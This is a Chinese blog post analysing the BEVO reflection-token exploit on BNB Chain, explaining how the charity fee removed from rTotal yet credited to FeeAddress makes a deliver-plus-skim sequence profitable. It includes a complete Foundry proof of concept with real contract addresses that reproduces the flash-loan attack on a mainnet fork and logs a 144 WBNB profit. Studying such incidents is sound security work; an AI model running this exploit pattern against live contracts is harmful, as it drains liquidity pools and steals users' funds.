【漏洞分析】ReflectionToken BEVO代币攻击事件分析及复现

前言

BEVO代币是一种Reflection Token(反射型代币),并且拥有通缩的特性。关于Reflection Token更为详细的说明可参考这篇文章。然后目前浏览到的很多分析报告没有指出其漏洞产生的真正原因,所以就自己试着去做一下分析吧。
总结性的分析思路可以参考这篇文章:Reflection Token 反射型代币攻击事件通用分析思路

相关信息

攻击过程分析

image

整个攻击过程很简单:

  1. 首先闪电贷借出大量的WBNB
  2. 通过池子换出大量BEVO
  3. 调用deliver函数消耗所有的BEVO
  4. 调用skim函数,获得比在deliver函数中所消耗的更多的BEVO
  5. 调用swap函数获得超额的WBNB

每一步都是正常的操作,但是最后的结果就是攻击者成功获利了。背后漏洞的成因还有点绕,接下来详细分析。

函数流程对比

由于BEVOToken是基于ReflectionToken进行修改的版本,而原版的反射代币执行这个简单的deliver+skim操作是安全的。那么我们将原版的ReflectionToken与魔改后的BEVOToken的_transferStandard函数进行一个对比(该函数在transfer的过程中要用到)。

REFLECT.sol(Original)

_transferStandard 流程

  1. 通过_getValues函数,基于tAmount计算出所有后续要用到的tAmount和rAmount,包括Fee和TransferAmount
  2. 登记rTransferAmount的转账:sender账户减少,recipient账户增加。
  3. 然后将Fee燃烧掉:从rTotal中减去rFee

CoinToken.sol(BEVO)

_transferStandard 流程

  1. 通过_getValues函数,基于tAmount计算出所有后续要用到的tAmount和rAmount,包括Fee,Burn,Charity和TransferAmount
  2. 通过_standardTransferContent函数,登记rTransferAmount的转账:sender账户减少,recipient账户增加。
  3. 调用_sendToCharity函数,将Charity值增加到FeeAddress账户中
  4. 调用_reflectFee函数,从rTotal中减去rCharity,rFee,rBurn。从tTotal中减去tBurn。

BEVO机制漏洞

盈利的条件

先来了解一个前置条件,假设不收取任何费用的情况下,要通过deliver+skim这两个操作进行盈利,则需要要求skim得到的rAmount大于deliver掉的rAmount值。表示为rSkim > rDeliver。
公式推导为:

  1. [1]rPair = tPair * (rTotal / tTotal)
  2. deliver操作
  3. [2]rPair2 = tPair * (rTotal - rDeliver) / tTotal
  4. [3]rSkim = rPair2 - rPair
  5. 若要求[4]rSkim > rDeliver,将公式1,2,3代入公式4
  6. 得[5]rDeliver > rTotal - rPair

而正常情况下,rTotal作为所有rAmount值的总和,自然可得rTotal >= rDeliver + rPair,调整后得[6]rDeliver <= rTotal - rPair。显然,公式5中的条件并不能满足,无法实现通过deliver+skim这两个操作进行盈利的目的。

那究竟发生了什么,打破了这种安全的场景。

奇怪的计算

在函数流程对比这一章节中有提到,BEVO调用_transferStandard转账的时候,会收取一个叫Charity的费用(1%)。收取这个费用的时候会将rCharity和tCharity增加到FeeAddress账户中,并且从rTotal中减去rCharity。

这里就出现了问题:

  1. 如果BEVO只是将rCharity从rTotal中减去,则效果类似于deliver和Fee的燃烧。
  2. 如果BEVO只是将rCharity和tCharity增加到FeeAddress账户中,则效果类似于转账。

但是它既将rCharity从rTotal中减去,又将rCharity和tCharity增加到FeeAddress账户中,这使得从rTotal的数值是不包括rAmount[FeeAddress]的,而FeeAddress地址上确实存在有一笔rAmount。这就有点像一笔本该销毁的资金,被FeeAddress偷偷藏了起来,这笔资金从rTotal账面上来看是销毁了,但是却被FeeAddress揣在了口袋里。

然后,如果这笔资金冻结在FeeAddress地址中不再流转,那么也不会对整个经济模型进行影响(就相当于deliver了)。但是,FeeAddress会用它手中的BEVO从Pair里兑换WBNB。这就使得了这笔不在rTotal范围内的资金流入了Pair地址中。

这会造成什么影响?

漏洞的成因

前面提到,FeeAddress会用它手中不合规的BEVO从Pair里兑换WBNB,从而使这笔不在rTotal范围内的资金rFeeAddress流入了Pair地址中。此时,将Pair池中的rAmount从新定义为[7]rPair2 = rPair + rFeeAddress

这笔不在rTotal累加范围内的资金加入,使得代表盈利条件的公式5能够实现,由rDeliver > rTotal - rPair2,将公式7代入后调整可得[8]rDeliver + rFeeAddress > rTotal - rPair

所以,攻击者首先借助闪电贷借出大量的BEVO代币,通过deliver操作,使得Pair中属于rFeeAddress的那部分的代币份额增大,从而执行skim操作的时候就能拿到超额的BEVO代币。最后归还闪电贷跑路。

漏洞复现

这个攻击流程并不复杂,所以动手复现一下,现学的Foundry可能写得有点粗糙。接口文件就不一一贴出了,只贴主要的测试文件。

pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "../src/CoinToken.sol";
import "../src/interface/IWBNB.sol";
import "../src/interface/IPancakeRouter.sol";
import "../src/interface/IPancakePair.sol";

contract AttackTest is Test {
    CoinToken public bevo = CoinToken(0xc6Cb12df4520B7Bf83f64C79c585b8462e18B6Aa);
    IWBNB public wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    IPancakeRouter02 public pancakeRouter = IPancakeRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    PancakePair public pairWBNBUSDC = PancakePair(0xd99c7F6C65857AC913a8f880A4cb84032AB2FC5b);
    PancakePair public pairWBNBADU = PancakePair(0xA6eB184a4b8881C0a4F7F12bBF682FD31De7a633);


    function setUp() public{
        // Fork BSC Chain, Block high 25230702.
		// Set your API key.
        string memory MAINNET_RPC_URL = "https://bsc-mainnet.nodereal.io/v1/xxx";
        uint256 forkId = vm.createFork(MAINNET_RPC_URL, 25230702);
        vm.selectFork(forkId);
    }

    function testAttack() public {
        // Approve maximum amount for WBNB.
        wbnb.approve(address(pancakeRouter), 2 **256 - 1);

        // Calling swap function, and "data" parameter is not empty.
        pairWBNBUSDC.swap(0, 192500000000000000000, address(this), "1");
        
        // Profit amount
        require(wbnb.balanceOf(address(this)) > 0);
        console.log("Profit:%d WBNB", wbnb.balanceOf(address(this)));
    }

    function pancakeCall(address sender, uint256 amount0Out, uint256 amount1Out, bytes calldata data) external{
        // Make up the path which is from WBNB to BEVO.
        address[] memory path = new address[](2);
        path[0] = address(wbnb);
        path[1] = address(bevo);

        // Exchange all WBNB to BEVO.
        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            wbnb.balanceOf(address(this)), 
            0, 
            path, 
            address(this), 
            1675072425
            );

        // Deliver
        bevo.deliver(bevo.balanceOf(address(this)));

        // Skim
        pairWBNBADU.skim(address(this));

        // Deliver tiwce
        bevo.deliver(bevo.balanceOf(address(this)));

        // Exchange all BEVO to 337 WBNB.
        pairWBNBADU.swap(337000000000000000000, 0, address(this), "");

        // Repay the fashloan.
        wbnb.transfer(address(pairWBNBUSDC), 193000000000000000000);
    }

}

运行结果:

Running 1 test for test/Attack.t.sol:AttackTest
[PASS] testAttack() (gas: 421646)
Logs:
  Profit:144000000000000000000 WBNB

Test result: ok. 1 passed; 0 failed; finished in 627.79ms

后语

最近在学习ReflectionToken的相关内容,了解到了BEVO代币的安全事件,打算跟着网上的分析文章把细节摸清一下。但很可惜发现网上的分析文章都是浅尝辄止,一副懂的都懂不懂的我也不多说了的样子,看到攻击者deliver+skim获利了就断定是deliver导致rTotal减少,从而rate增大就获得了套利机会(其实赚不了)。然后我按照文章中的思路计算了两天死活就算不出来盈利(就让我多吐槽几句吧因为我真的手算了好多页纸硬是没算出来)。所以自己摸索着搞了一份分析,因为小老弟也是在学习的过程中,所以文章有可能有错的地方,还请各位师傅多多指点。感谢阅读!

下面就是反面教材环节:


image


image

image

posted @ 2023-05-09 15:47  ACai_sec  阅读(713)  评论(0编辑  收藏  举报